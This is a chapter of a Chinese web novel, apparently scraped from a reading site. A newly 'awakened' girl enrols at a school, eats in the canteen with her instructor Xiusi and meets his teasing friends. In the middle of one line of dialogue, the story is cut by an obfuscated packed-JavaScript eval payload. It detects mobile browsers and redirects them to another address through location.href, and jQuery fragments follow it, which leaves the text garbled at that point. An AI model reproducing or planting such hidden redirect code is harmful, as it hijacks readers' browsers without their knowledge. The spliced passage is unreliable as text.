“老板，先办正事。”修斯适时打断，“办完手续还得带她去吃饭。” 沈鸢茉捕捉到“老板”这个称呼，心想：原来学长是在读研吗。 张校长也回神，递来表格让她签字，又给了课表和资料：“你的信息早已录入系统，现在正式欢迎你加入我们。” 沈鸢茉郑重道谢。 翻开课表后却愣住了。 “有什么问题吗？”张校长耐心地问道。 沈鸢茉谨慎地又看了一遍课表—— 接下来的一个月，除了上午和下午分别两小时的理论或者实践课程，不仅早晚都要跑操，剩下的时间安排的都是各种田径项目以及游泳课程。 斟酌了片刻，沈鸢茉终于忍不住开口：“请问您这是体校吗？” 早已见识过沈鸢茉语出惊人的张校长笑道：“刚经历过觉醒的新人，虽然身体被异能重铸，但新的机能还没有稳定下来，这个时候加强锻炼不仅可以帮助你们适应新的身体状况，同时也是体能提升的几大最佳时间段之一。” “哦哦好的。”沈鸢茉收起资料和课表。 果然还是体校来的吧。 虽说这么大规模的体能锻炼，对于她这种废宅极其勉强，但她也没什么别的选择，只能平静地接受。 就当是新生军训一个月，忍一忍就熬过去了！ “行了，让修斯带你去食堂，”张校长也不磨叽，只是看着修斯又叮嘱一句，“她还在长身体，多看着点，让她好好吃饭。” 他又仔细地打量了一下沈鸢茉，“太瘦了。” “明白，”修斯回答，“都会帮忙盯着的，就算她上不了数字级，至少也能养成一头快乐的猪。” 说完，修斯帅气地跟校长一挥手，然后拉着沈鸢茉去食堂。 直到走出行政楼，沈鸢茉才反应过来两个人刚才在说什么。 “你们刚才……”她有点不敢相信，修斯也就算了，刚那位可是校长啊。 “嗯？”修斯低头看她，表情严肃。 “没事。”沈鸢茉摇了摇头。 她第一反应以为他们当面说她是猪。但仔细一想，可能这个世界也有一位苏格拉底，而不管当下还是以后，她才不想考虑那么复杂的问题。 去食堂的路上，沈鸢茉的终端就弹出提示信息，个人账户多了三张待激活状态的电子卡片：饭卡、房卡和工资卡。 芜湖，她的快乐生活即将到账！ 这个世界或是哪个世界会怎样，她管不了也不想管，能把简单的日子过好已经很难了，让有能力的人们烦恼去吧，手里有个热乎的馍馍，对她来说比什么都重要。 嗯，还要有可爱的挖挖，人生已经圆满辣！ 看沈鸢茉反应，修斯便已经猜到进度，都不用她问，便给她解释：“饭卡和房卡需要刷一下，工资卡等这个月的津贴上账，财务那边会自动帮你激活。” “好耶！” 明明都是习以为常的小事，看把她高兴的。 修斯一路带沈鸢茉到食堂，看她走路都快飘起来。 上午赶回学校的学生和老师们，不管忙不忙，这个时间基本也都来到食堂。 从门口进来一看，熙熙攘攘的，但找到空位也不难。 也就不需要占座。 修斯从餐台拉出来两个餐车，推给沈鸢茉一个，自己推着另一个，又带她去前台刷了下终端。 “行了，饭卡已经激活了，去看看喜欢吃什么就打什么，每一排都要打满两样。”修斯率先去了第一排窗口。 沈鸢茉扫了一眼。跟大学食堂一样，这里也有很多打饭的窗口，每个窗口都有很多人排队，但打饭的人偶动作飞快，所以队伍的行进速度也都很快。 不一样的是，她以前大学里是按照不同菜系、地域、风味来划分窗口，然后主食、汤品、小吃也会单独分出来。 这里的饭菜她看不出什么菜系，总共十多排窗口，每排挑两样，拿得二十多盘。 估计是按照营养成分划分的吧。 而且据她观察，这里没有餐盘，每个人都推着四层餐车在打饭，好像还有不够吃又推一车的。 不愧是体校。 看来饭量大的不止她一个。 也许F级还是吃最少的呢，毕竟等级最低嘛，无论哪个方面都拼不过别人。 回到餐桌，沈鸢茉一边吃一边好奇地看向别的餐桌。 “好好吃饭，”她才吃了一小半，修斯已经起身去打第二车了，审视地看了看她，跟张校长得出同样的结论，“一点肌肉都没有。” 那肯定啊！ 难道指望一个每天宅家给娃化妆的人能长一身腱子肉吗！ 沈鸢茉只是内心咆哮，毕竟嘴巴塞满了食物，没工夫说话。 别的不说，食堂的饭菜她随便看哪个好看打的哪个，都好好吃哦。 她也确实好饿。 于是沈鸢茉埋下头，像头猪一样吭哧吭哧地快乐干饭。 ……也就没发现，原本若有似无打量她的视线，越来越多、越来越大胆了。 甚至还有几拨人，专程从她身边路过，然后演技生疏地放慢脚步，前言不搭后语地聊着天，只为多看她几眼。 但都被推着第二车回来的修斯用一个眼神瞪走了。 等沈鸢茉把二十多盘饭菜消灭干净，修斯看起来好像还是不太满意，但也勉强地点了下头，塞给她一大桶果汁。 “走吧，从这个餐厅到你住的地方不算远，溜达回去消消食，帮你收拾一下，明天就要开课了。” “你明天也要上课了吧？”沈鸢茉问道，见修斯点了下头，便说，“那我回去自己收拾也行，不麻烦你了。” “不麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968985|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦，我是你的教官，你在学校的一切事务都归我管。”修斯说着，怕她听不懂，又强调了一遍，“你的一切，都归我管。” 沈鸢茉都不知道该拒绝还是该荣幸。 实际上她只能接受。 于是便点了点头。 修斯看起来还挺满意，走在前面，嘴角勾起，半笑不笑的。 沈鸢茉也懒得问了，只暗自琢磨。不是研究生学长吗，怎么又成教官了……果然入学第一个月的安排类似她以前的军训吧。 而且哪有教官就可着一个人操练的，总不能新人就她一个吧。 那人要是多了，这个也管，那个也管，他再牛逼精力也是有限的，刚才那么说多半都是先威慑一下树立威信，实际偷个懒什么的，应该有机会。 想起那个课表她都发怵，早操就跑一万公里，硬跑下来她也不是不可以，只是跑完人也就没了。 而且她因为小沃的事，对上修斯尴尬又心虚，本想着搬了家道个谢就江湖不见了呢，结果这又续了一个月。 回住处的路上，沈鸢茉绞尽脑汁地思考在军训中偷懒的借口。 转过最后一个路口，远远地，就看到有几个人正站她院子门口，一边往里看，一边议论着什么。 “哎，捞大！”一个金毛看到修斯，立马边喊边跑迎了过来。 捞大……老大？这人又叫修斯老大？什么老大，混混帮头目吗。还收服了个歪果仁，说话不清不楚还带着浓重的口音。 沈鸢茉抱紧饺饺，默默远离他们，带着警惕，暗中观察。 然后听他们聊天的三言两语，又放松下来。 金毛的连蒙带猜，但听修斯的回答，也能知道他们在聊什么。 什么嘛，这个人，原来还是学生会的会长啊，金毛应该是他手下的干事，就喊的老大。 沈鸢茉又偷摸瞟了修斯一眼：你还有多少惊喜是朕不知道的…… “哟，这围就湿猩人吧？脚甚么来着，什么猿？”修斯和沈鸢茉到了院子里，金毛他们也跟了进来。 “沈鸢茉。”沈鸢茉看着金毛。 “神猿魔。”金毛跟着重复，“嚎命字，听起来就hin李海。” 沈鸢茉刚想开口纠正，想了想又算了。她这会儿犯食困，懒洋洋的。 “你们都来这干嘛？”修斯看向其他人，显然也不是很想跟金毛说话。 但金毛会抢答，“捞大，庭说靴啸又找来一个猩人，窝们撸过，发现害是你的狂野分尸。” 沈鸢茉满头问号：“…eagain?”她甚至准备打开终端搜索翻译软件。 修斯笑着充当她的人型翻译，“他说你是我的狂热粉丝。” 沈鸢茉整个人僵住，“我不是、我没有！” “不是吗？”另一个刺猬头的男生上前两步，打量沈鸢茉的目光带着不善，语气也不太好，“那你上哪弄了个等身人偶？” 他扭头看向修斯，“刚才我们过来还看见文森特对着人偶说话，以为是你坐那帮人看行李呢。” 然后他又带着敌意看向沈鸢茉，脸上的肌肉抽搐了两下，“谁知道这人每天拿个跟你一模一样的人偶在家里做什么……” 我靠怎么听起来好变态好猥琐啊！沈鸢茉简直百口莫辩，气得脸都红了。 没等她开口。 “就凭她？”修斯挑眉，戏谑地看了眼沈鸢茉，“除了把自己蠢哭，还能做什么？” 沈鸢茉真的是……出离愤怒了！ 她气得头顶快要冒烟：给朕滚去甘露寺！永远别回来！